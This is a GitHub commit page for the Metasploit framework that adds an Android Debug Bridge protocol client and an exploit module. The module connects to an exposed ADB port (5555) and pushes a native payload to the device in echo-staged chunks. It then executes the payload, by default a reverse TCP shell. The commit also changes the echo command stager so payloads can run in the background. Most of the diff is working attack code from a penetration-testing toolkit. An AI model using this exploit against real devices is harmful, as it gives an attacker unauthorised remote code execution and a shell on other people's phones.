Skip to content

Commit d6facbe

Browse files
committed
Land rapid7#6421, ADB protocol and exploit
2 parents b3e76f7 + d0c22a5 commit d6facbe

File tree

5 files changed

+298
-3
lines changed

5 files changed

+298
-3
lines changed

lib/rex/exploitation/cmdstager/echo.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def generate(opts = {})
3535
end
3636

3737
# by default use the 'hex' encoding
38-
opts[:enc_format] = opts[:enc_format] || 'hex'
38+
opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s
3939

4040
unless ENCODINGS.keys.include?(opts[:enc_format])
4141
raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
@@ -58,7 +58,7 @@ def generate_cmds(opts)
5858
xtra_len = @cmd_start.length + @cmd_end.length
5959
opts.merge!({ :extra => xtra_len })
6060

61-
@prefix = ENCODINGS[opts[:enc_format]]
61+
@prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
6262
min_part_size = 5 # for both encodings
6363

6464
if (opts[:linemax] - opts[:extra]) < min_part_size
@@ -108,7 +108,7 @@ def generate_cmds_decoder(opts)
108108
# Make it all happen
109109
cmds << "chmod 777 #{@tempdir}#{@var_elf}"
110110
#cmds << "chmod +x #{@tempdir}#{@var_elf}"
111-
cmds << "#{@tempdir}#{@var_elf}"
111+
cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
112112

113113
# Clean up after unless requested not to..
114114
unless opts[:nodelete]

lib/rex/proto/adb.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# -*- coding: binary -*-
2+
#
3+
# Support for the ADB android debugging protocol
4+
#
5+
6+
require 'rex/proto/adb/client'
7+
require 'rex/proto/adb/message'

lib/rex/proto/adb/client.rb

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# -*- coding: binary -*-
2+
3+
##
4+
# ADB protocol support
5+
##
6+
7+
require 'rex/proto/adb/message'
8+
9+
module Rex
10+
module Proto
11+
module ADB
12+
13+
class Client
14+
15+
def initialize(sock, opts = {})
16+
@sock = sock
17+
@opts = opts
18+
@local_id_counter = 0x0a
19+
end
20+
21+
def connect
22+
ADB::Message::Connect.new.send_recv(@sock)
23+
end
24+
25+
def exec_cmd(cmd)
26+
local_id = @local_id_counter += 1
27+
response = ADB::Message::Open.new(local_id, "shell:"+cmd).send_recv(@sock)
28+
ADB::Message::Close.new(local_id, response.arg0).send_recv(@sock)
29+
end
30+
31+
def read_message
32+
ADB::Message.read(@sock)
33+
end
34+
35+
end # Client
36+
37+
end # ADB
38+
end # Proto
39+
end # Rex

lib/rex/proto/adb/message.rb

Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
# -*- coding: binary -*-
2+
3+
##
4+
# ADB protocol support
5+
##
6+
7+
module Rex
8+
module Proto
9+
module ADB
10+
11+
# A Message for the ADB protocol. For documentation see:
12+
# https://android.googlesource.com/platform/system/core/+/master/adb/protocol.txt
13+
class Message
14+
15+
WORD_WIDTH = 4 # bytes
16+
WORD_PACK = 'L<'
17+
18+
attr_accessor :command
19+
attr_accessor :arg0
20+
attr_accessor :arg1
21+
attr_accessor :data
22+
23+
def initialize(arg0, arg1, data)
24+
self.command = self.class::COMMAND if defined?(self.class::COMMAND)
25+
self.arg0 = arg0
26+
self.arg1 = arg1
27+
self.data = data + "\0"
28+
end
29+
30+
def data_check
31+
# this check is implemented in adb/transport.cpp, in the send_packet method.
32+
# it is not crc32 as the docs make it appear, it is just a 32bit sum.
33+
data.bytes.inject(&:+) & 0xffffffff
34+
end
35+
36+
def magic
37+
command_word ^ 0xffffffff
38+
end
39+
40+
def command_word
41+
command.unpack(WORD_PACK)[0]
42+
end
43+
44+
def send_recv(socket)
45+
socket.print self.serialize
46+
Message.read socket
47+
end
48+
49+
def serialize
50+
[
51+
command_word,
52+
arg0,
53+
arg1,
54+
data.bytes.length,
55+
data_check,
56+
magic
57+
].pack(WORD_PACK+'*') + data
58+
end
59+
60+
def to_s
61+
[
62+
"command=#{command}",
63+
"arg0=0x#{arg0.to_s(16)}",
64+
"arg1=0x#{arg1.to_s(16)}",
65+
"data=#{data}"
66+
].join("\n")
67+
end
68+
69+
def self.read(socket)
70+
header = socket.recvfrom(6 * WORD_WIDTH)[0]
71+
command = header[0, WORD_WIDTH]
72+
arg0 = header[WORD_WIDTH, WORD_WIDTH].unpack(WORD_PACK)[0]
73+
arg1 = header[WORD_WIDTH*2, WORD_WIDTH].unpack(WORD_PACK)[0]
74+
payload_len = header[WORD_WIDTH*3, WORD_WIDTH].unpack(WORD_PACK)[0]
75+
payload = socket.recvfrom(payload_len)[0]
76+
77+
klass = MESSAGE_TYPES.find { |klass| klass::COMMAND == command }
78+
if klass.nil?
79+
raise "Invalid adb command: #{command}"
80+
end
81+
82+
message = klass.allocate
83+
message.command = command
84+
message.arg0 = arg0
85+
message.arg1 = arg1
86+
message.data = payload
87+
message
88+
end
89+
90+
#
91+
# Subclasses inside Message:: namespace for specific message types
92+
#
93+
94+
class Connect < Message
95+
COMMAND = "CNXN"
96+
DEFAULT_VERSION = 0x01000000
97+
DEFAULT_MAXDATA = 4096
98+
DEFAULT_IDENTITY = "host::"
99+
100+
def initialize(version=DEFAULT_VERSION,
101+
maxdata=DEFAULT_MAXDATA,
102+
system_identity_string=DEFAULT_IDENTITY)
103+
super
104+
end
105+
end
106+
107+
class Auth < Message
108+
COMMAND = "AUTH"
109+
TYPE_TOKEN = 1
110+
TYPE_SIGNATURE = 2
111+
112+
def initialize(type, data)
113+
super(type, 0, data)
114+
end
115+
end
116+
117+
class Open < Message
118+
COMMAND = "OPEN"
119+
120+
def initialize(local_id, destination)
121+
super(local_id, 0, destination)
122+
end
123+
end
124+
125+
class Ready < Message
126+
COMMAND = "OKAY"
127+
128+
def initialize(local_id, remote_id)
129+
super(local_id, remote_id, "")
130+
end
131+
end
132+
133+
class Write < Message
134+
COMMAND = "WRTE"
135+
136+
def initialize(local_id, remote_id, data)
137+
super
138+
end
139+
end
140+
141+
class Close < Message
142+
COMMAND = "CLSE"
143+
144+
def initialize(local_id, remote_id)
145+
super(local_id, remote_id, "")
146+
end
147+
end
148+
149+
class Sync < Message
150+
COMMAND = "SYNC"
151+
152+
def initialize(online, sequence)
153+
super(online, sequence, "")
154+
end
155+
end
156+
157+
# Avoid a dependency on Rails's nice Class#subclasses
158+
MESSAGE_TYPES = [Connect, Auth, Open, Ready, Write, Close, Sync]
159+
160+
end # Message
161+
162+
end # ADB
163+
end # Proto
164+
end # Rex
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/adb'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::CmdStager
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Android ADB Debug Server Remote Payload Execution',
18+
'Description' => %q{
19+
Writes and spawns a native payload on an android device that is listening
20+
for adb debug messages.
21+
},
22+
'Author' => ['joev'],
23+
'License' => MSF_LICENSE,
24+
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
25+
'Platform' => 'linux',
26+
'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
27+
'Targets' => [
28+
['armle', {'Arch' => ARCH_ARMLE}],
29+
['x86', {'Arch' => ARCH_X86}],
30+
['x64', {'Arch' => ARCH_X86_64}],
31+
['mipsle', {'Arch' => ARCH_MIPSLE}]
32+
],
33+
'DefaultTarget' => 0,
34+
'DisclosureDate' => 'Jan 01 2016'
35+
))
36+
37+
register_options([
38+
Opt::RPORT(5555),
39+
OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
40+
], self.class)
41+
end
42+
43+
def check
44+
setup_adb_connection do
45+
device_info = @adb_client.connect.data
46+
print_good "Detected device:\n#{device_info}"
47+
return Exploit::CheckCode::Vulnerable
48+
end
49+
50+
Exploit::CheckCode::Unknown
51+
end
52+
53+
def execute_command(cmd, opts)
54+
response = @adb_client.exec_cmd(cmd)
55+
print_good "Command executed, response:\n #{response}"
56+
end
57+
58+
def exploit
59+
setup_adb_connection do
60+
device_data = @adb_client.connect
61+
print_good "Connected to device:\n#{device_data.data}"
62+
execute_cmdstager({
63+
flavor: :echo,
64+
enc_format: :octal,
65+
prefix: '\\\\0',
66+
temp: datastore['WritableDir'],
67+
linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
68+
background: true,
69+
nodelete: true
70+
})
71+
end
72+
end
73+
74+
def setup_adb_connection(&blk)
75+
begin
76+
print_status "Connecting to device..."
77+
connect
78+
@adb_client = Rex::Proto::ADB::Client.new(sock)
79+
blk.call
80+
ensure
81+
disconnect
82+
end
83+
end
84+
85+
end

0 commit comments

Comments
 (0)